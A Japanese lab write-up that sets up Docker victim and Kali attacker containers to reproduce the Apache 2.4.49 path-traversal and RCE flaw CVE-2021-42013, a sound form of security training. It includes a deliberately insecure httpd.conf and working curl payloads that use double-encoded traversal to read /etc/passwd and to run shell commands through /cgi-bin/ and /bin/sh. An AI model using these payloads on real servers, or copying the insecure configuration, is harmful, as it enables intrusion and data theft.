
Apache HTTP Server (2.4.49) 上で CVE-2021-42013 の脆弱性 (Path Traversal & RCE) をシミュレートする Docker ベースの侵入テストラボ。
Apache HTTP Server (2.4.49) 上の CVE-2021-42013 脆弱性 (Path Traversal & RCE) をシミュレートする Docker ベースの侵入テストラボ。
このプロジェクトは、Apache HTTP Server (2.4.49) に存在する CVE-2021-42013 の脆弱性を隔離された環境でシミュレートし、悪用 (exploit) するために作成されました。この作業では docker-exploit-lab という専用のラボ環境が構築され、攻撃シナリオは同じネットワーク上の被害者 (victim) マシンと攻撃者 (attacker) マシンを介して実行されます。
このラボには2つの基本的な設定ファイルがあります: Victim/Attacker マシンを定義する Docker Compose ファイルと、Apache サーバーを脆弱な状態にする設定ファイルです。
docker-compose.ymlこのファイルは 172.20.0.0/16 サブネット上に隔離された環境を作成します。攻撃者マシンは起動時に攻撃に必要な curl ツールを自動的にインストールします。
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.conf脆弱性を引き起こせるように、ルートディレクトリ () と CGI ディレクトリに Require all granted 権限が付与され、サーバーは意図的に脆弱な状態にされています。 (重要な注記: エラーを避けるため、このファイルが BOM (Byte Order Mark) 文字を含まないプレーンな UTF-8 形式で保存されていることを確認してください。)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
システムを起動するには、作業ディレクトリでターミナルに次のコマンドを実行します:
docker compose up -d
システムが起動したら、攻撃コマンドを実行する Kali Linux マシンの中に入ります:
Bash
docker exec -it attacker-box /bin/bash
Kali マシンの中から、ターゲットマシンの固定 IP アドレス (172.20.0.2) に URL エンコードされた文字 (.%%32%65) を送信してディレクトリトラバーサルの脆弱性を発動させ、/etc/passwd ファイルを読み取ります: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Apache の設定で CGI ディレクトリを許可しているため、同じディレクトリトラバーサルの仕組みを /cgi-bin/ 経由で使用して、サーバー上で直接シェルコマンドを実行できます。id コマンドを実行するには: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" 得られた成功出力: uid=1(daemon) gid=1(daemon) groups=1(daemon)
この作業は、更新されていない Web サーバーにおいて、外部からは無害に見える Path Traversal の脆弱性が、誤って設定された CGI モジュールの権限と組み合わさると、どのように完全な権限を持つリモートコード実行 (RCE) に変わるのかを実践的に示しています。